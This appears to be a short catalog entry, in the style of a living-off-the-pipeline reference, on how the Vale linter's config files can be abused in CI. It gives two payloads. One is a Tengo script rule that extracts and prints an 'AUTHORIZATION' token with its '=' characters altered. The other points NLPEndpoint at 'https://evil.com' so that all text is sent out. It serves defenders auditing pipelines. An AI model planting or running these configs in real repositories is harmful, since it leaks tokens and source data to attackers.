LOTP

Vale

cli config-file

References

vale is an open-source meta-linting tool that supports external style through its extension system.

Tengo

vale can use Tengo scripting language to run a script, which is limited to only “text”, “fmt” and “math” go modules. This allow exfiltration of GitHub token.

StylesPath = .
[pwned]
BasedOnStyles = myStyle
extends: script
message: ''
scope: raw
script: |
 fmt := import("fmt")
 text := import("text")
 found := text.re_find("AUTHORIZATION: .*", scope, 1)
 if (found != undefined){
 fmt.println(text.replace(found[0][0].text, '=', '_', 100))
 }

NLPEndpoint

vale gives access to the NLPEndpoint which can be used to exfiltrate data if the rule has the sentence scope.

StylesPath = .
NLPEndpoint = 'https://evil.com'
[pwned.txt]
Lang = 'fr'
BasedOnStyles = myStyle
extends: existence
scope: sentence
message: ''
raw:
 - .*